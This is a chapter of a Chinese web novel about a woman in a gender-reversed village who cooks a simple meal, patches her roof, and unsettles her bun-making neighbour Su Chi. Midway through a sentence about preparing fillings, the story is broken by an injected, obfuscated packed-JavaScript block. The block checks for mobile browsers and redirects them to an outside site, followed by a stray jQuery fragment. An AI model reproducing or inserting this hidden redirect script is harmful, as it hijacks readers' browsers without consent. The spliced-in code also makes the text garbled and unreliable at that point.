苏泉家中,晚饭时她的夫郎开口:“怎么今日孟家和黄家都来我们家?是有什么事吗?”
苏泉吃了一口饭回道:“她们打听谢小娘的事。”
说起这个苏泉就心里不舒服。
谢小娘是多好的孩子,多么重情义,她不过是在家拿了点不花钱的米面给她,她就破费买了这么贵的糕饼来谢她。
孟家黄家虽然没有明说,但是明眼人都看得出来她们想做什么。
不就是想找谢小娘上门给他们的儿子做妻主吗?
要她说啊,她们家的儿子配不上谢小娘,还想拉人家上门?
被人四处惦记的谢玉疏才不管别人在想什么,她正吃着来这里后的第一顿大米饭。
她先是蒸了一大碗喷香的米饭,又炒了盘大白菜炒猪油渣。
猪油渣是熬猪油剩下的,有半碗的量,她现在手头紧,什么食物都不能浪费,都得好好利用起来。
白菜是从村长家里买的,很大很敦实的一颗,她用手掂量着估摸有五六斤重,一个人一顿吃不了这么多,她切了一半,剩下一半下一顿再吃。
白菜洗净后分成菜梗和菜叶,都切成细长段放置一旁备用,另切好蒜片、干辣椒段、葱白。
谢玉疏往灶膛里丢入柴火,待起锅加热后,加入一小块凝固成白花花膏体的猪油,“滋啦”一声,膏体化成微黄的油液。
她举起铲子拨弄了几下,倒入半碗小块猪油渣快速翻炒,炒到油渣复脆发出浓烈的猪油香,加入这时就可以倒入蒜片、干辣椒段、葱白下锅爆香。
霎时间灶房便散发出了一阵令人难以忽视的强烈香味。
接着先倒入不易熟的菜梗煸炒,直至炒到菜梗变得微微透明即可加入菜叶。
待到每一片菜叶和菜梗都裹满了油光,炒到软乎出汁水的状态便倒入一勺清酱油、撒入盐和少量的糖,继续翻炒,出锅前在锅边淋上一圈醋,瞬间激发香味,不过片刻功夫,一盘油亮亮的猪油渣炒白菜即可出锅倒入粗瓷盘里。
另一边的陶甑蒸好了大米饭,米饭粒粒分明,带着米香。
谢玉疏磕破鸡蛋打成蛋液,又很快做好了一碗葱花蛋花汤,她简单加了醋和盐,便把饭菜端到堂屋开始吃。
这顿饭朴实无华,可是说是谢玉疏吃过最简陋的一餐,但是此时心境完全不同。她此时心里满足得不行,亲手做的饭菜,即使再简陋她也吃得香香的,她今后要好好珍惜每一顿饭。
猪油渣被煸得金黄焦香,满口油脂香在嘴里迸开,搭配上清甜软嫩的白菜叶,菜梗爽脆还带着根部的韧性,油润的酱色汤汁舀在米饭上,又喝着蛋花汤,谢玉疏吃得一口接着一口停不下来。
她前世胃口本就好,来这里后胃口便更好了,吃得多不说,又饿得快,她几口下去就吃去了大半碗饭。
翟家老破小的房子坐落在村尾,这里靠近村里的后山,村民上山下山必须要经过她家门口。
这个时辰村子进山的人陆陆续续下山回了家,几个在后山上捡柴火和打草的路过谢玉疏的房子门口时,忽然都停了下来。
村里人不愁吃,但吃的都是普通的饭食,荤腥油腥不多,极少闻到这么香的炒菜味道。勾人的味道丝丝缕缕从空中飘来,馋的人都被这股浓烈的香味弄得伸长了脖子到处嗅。
“好香的饭菜味。”一人被香得开了口。
“是迟哥儿在做饭吧,他做饭手艺没话说。”另一人羡慕道。
苏迟包包子的手艺好,做饭也香,这是村里人公认的,且苏迟家就在这里,所以她下意识地认识这是苏迟炒的菜。
那人却嗅着味道确定了方向,摇了摇头:“不是迟哥儿,是他家斜对面那户。”
另一人震惊道:“那户就是新来的翟家女儿,稀奇了,女人也会做饭,还这么香。”
“快走吧,我饿得受不了了,我家夫郎等着我吃饭呢。”
临走时她们又多嗅了嗅这味道,加快了回家的步伐,好似要把这股味道记住回家下饭。
谢玉疏吃饱喝足,拿着碗筷盘去洗,洗的时候发现草木灰针对这种油脂不好洗,洗完手也脏了。
这回她记下了,下次去镇上那家清洁杂货铺再买上两块碗皂,那玩意洗得干净。
农家人几乎不用这种昂贵的东西,他们平时吃饭没什么油水,随便一洗就干净。
洗完后,谢玉疏又想起村长送她的田螺还在水桶里泡着去泥沙,她趁着这会功夫换了盆水,田螺勤换水能放还几天,她还不急吃这个,多放几天让它们吐沙吐干净。
一切都收拾好后,谢玉疏给自己烧了锅热水,买了澡豆她要干干净净地洗漱一番。
她脱下外杉后才才发现到家里没有可以冲澡的地方,她最后只能在灶房里束手束脚地洗完。
这更坚定了她要去镇上买房子的决心,镇上的房子房间多,她可以收拾一间出来当浴房。
澡豆自带清香,谢玉疏洗完浑身舒坦,在院落里借着月色用晒干的布条擦拭滴着水的长发。
今晚的月色亮堂堂的,四周缀着星点,谢玉疏久违地赏着月色和此时的宁静。忽然她瞥见她斜对面的人家里,也就是那位包子摊的摊主,他在院落里不停地忙碌着。
汪文晚上喝了碗浓白的鱼汤加了小半碗米饭,现已睡下,苏迟在院子里准备明天揉面团要用的面粉。
镇上粮铺卖的细面一斗二十八文,粗面一斗仅要十文,苏迟都是买粗面回来自己筛抖,虽然多花了时间用来处理,但长期以往给苏迟省了不少面粉钱。
用竹匾筛粗面五六遍即可筛出细粉,剩下的便是可以喂鸡鸭的麦麸,一斤粗面可以筛出七成的细面,三成的麦麸。
苏迟就是用粗面筛出来的麦麸喂自家的鸡,省了细面的钱不说,还多出了鸡的口粮。
筛完粗面后,苏迟又继续准备明天出摊用的馅料。
豆沙要用清水浸泡一个晚上,等第二天一早就起来熬煮;猪肉提前剁成泥放在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092664|195499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阴凉低温处备着,用到的蔬菜提前洗净切好放入木盆盖上盖子,第二天炒制馅料就会快上许多。
谢玉疏看着跟陀螺一样停不下来的苏迟,叹为观止。
这人也太勤快了,她光是看他忙碌已经看累了。
谢玉疏擦完头发转身就回屋了,苏迟在她关上门的一瞬间往她的方向瞧了一眼。
方才他在专心做事,就知晓这人一直盯着他,他清晰地感知到这人的目光穿过夜晚的黑幕落在他的身上,如影随形,他无法挣脱。
女人的眼睛亮亮的,瞳孔在如墨的夜色里犹如两簇跳动的星火,眼神却直勾勾地盯着他。
苏迟手上忙,那股视线黏糊糊地锁定在他手背上,明目张胆又放肆滚烫,他越是想忽略手上越是容易出错,方才差点把盆里的红豆当污水倒了。
此时他心里翻来覆去只有一个念头:
他几乎可以确定,和摸到自己手心那次触碰一样,这人就是故意的。
这人果然轻浮随意,哪有女人一直盯着哥儿看的?还是大晚上的。
回到房中后苏迟脸微微发烫,他有些恼怒,决定今后还是离这个女人远一些。
·
谢玉疏起了个大早,一番简单洗漱,粗糙的鬃毛刷她用得很不习惯,只好动作轻柔了些。牙粉倒是清香,她没一会就习惯了。
随后蒸了两根红薯当早饭,吃红薯的时候谢玉疏琢磨着怎么补屋顶。
别看这几天天气热,午间的太阳要把人晒化,现在正值夏季,可是最爱下雨了,保不齐哪天就下雨了,还是说下就下的瓢泼大雨。
吃完早饭后,谢玉疏去附近后山捡了干草稻草等草料,将它们放在院里摊平理顺,捆扎成厚厚的一排排。又厚着脸皮找邻居借了木梯攀爬到屋顶上。
她把屋顶破洞那一块用稻草一排一排交错铺上去,铺完后发觉效果不够好,少了原来的灰瓦片不够坚固,她又爬下木梯去后山找了一块平坦的大石头在草料上覆盖上。
补完后的样子虽然简单粗暴不美观,但是没有人会从上面俯瞰她的老破小,这个小缺点被谢玉疏轻拿轻放。
完成后谢玉疏爬下去拍了拍手,这下应该不会漏了,暂时就这样,等她那天不差钱了就重新用灰瓦片铺好。
一提起钱,谢玉疏就泄了气。
渡口的事她不急,反正她的工钱要回来了她急什么,唯一遗憾的就是不知道赌坊的钱能不能回来?
那可是整整四十贯啊。镇上一套房都有了。
谢玉疏一想到这个就心痛得都说不出话来了。
谢玉疏忙活完这么一通,心想还早着,想回屋睡个回笼觉,院子外突然传来一道敞亮的声音:
“谢小娘,忙着呢。”
来人笑吟吟主动推开了她家的木栅门,看见她后满脸惊艳地打量她。
真是村里,不、不止村里,镇上都挑不出这么好相貌的女人,难怪这一个两个都找他来说媒,真是好眼光。